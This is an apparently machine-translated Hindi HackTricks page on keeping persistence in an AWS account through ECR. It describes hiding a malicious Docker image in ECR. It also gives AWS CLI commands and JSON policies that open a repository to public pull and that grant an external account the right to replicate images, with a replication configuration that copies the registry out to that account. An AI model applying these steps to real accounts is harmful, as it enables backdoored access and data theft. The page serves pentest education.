AWS - ECR Persistence

Support HackTricks

ECR

अधिक जानकारी के लिए देखें:

Hidden Docker Image with Malicious Code

एक हमलावर एक Docker इमेज जिसमें दुर्भावनापूर्ण कोड हो को ECR रिपॉजिटरी में अपलोड कर सकता है और इसे लक्षित AWS खाते में स्थिरता बनाए रखने के लिए उपयोग कर सकता है। फिर हमलावर इस दुर्भावनापूर्ण इमेज को खाते के भीतर विभिन्न सेवाओं, जैसे कि Amazon ECS या EKS, में चुपचाप तैनात कर सकता है।

Repository Policy

एकल रिपॉजिटरी में एक नीति जोड़ें जो आपको (या सभी को) एक रिपॉजिटरी तक पहुंच प्रदान करती है:

aws ecr set-repository-policy \
--repository-name cluster-autoscaler \
--policy-text file:///tmp/my-policy.json

# With a .json such as

{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

ध्यान दें कि ECR को उपयोगकर्ताओं के लिए ecr:GetAuthorizationToken API को कॉल करने की अनुमति की आवश्यकता है एक IAM नीति के माध्यम से तब तक जब तक वे एक रजिस्ट्री में प्रमाणित नहीं हो सकते और किसी भी Amazon ECR रिपॉजिटरी से कोई भी छवि पुश या पुल नहीं कर सकते।

रजिस्ट्री नीति और क्रॉस-खाता प्रतिकृति

यह एक बाहरी खाते में रजिस्ट्री को स्वचालित रूप से प्रतिकृत करने के लिए संभव है, जहां आपको रजिस्ट्री को प्रतिकृत करने के लिए बाहरी खाते को संकेत करना होगा।

पहले, आपको एक रजिस्ट्री नीति के साथ बाहरी खाते को रजिस्ट्री पर पहुंच प्रदान करने की आवश्यकता है जैसे:

aws ecr put-registry-policy --policy-text file://my-policy.json

# With a .json like:

{
"Sid": "asdasd",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::947247140022:root"
},
"Action": [
"ecr:CreateRepository",
"ecr:ReplicateImage"
],
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
}

फिर पुनरुत्पादन कॉन्फ़िगरेशन लागू करें:

aws ecr put-replication-configuration \
--replication-configuration file://replication-settings.json \
--region us-west-2

# Having the .json a content such as:
{
"rules": [{
"destinations": [{
"region": "destination_region",
"registryId": "destination_accountId"
}],
"repositoryFilters": [{
"filter": "repository_prefix_name",
"filterType": "PREFIX_MATCH"
}]
}]
}
HackTricks का समर्थन करें

Last updated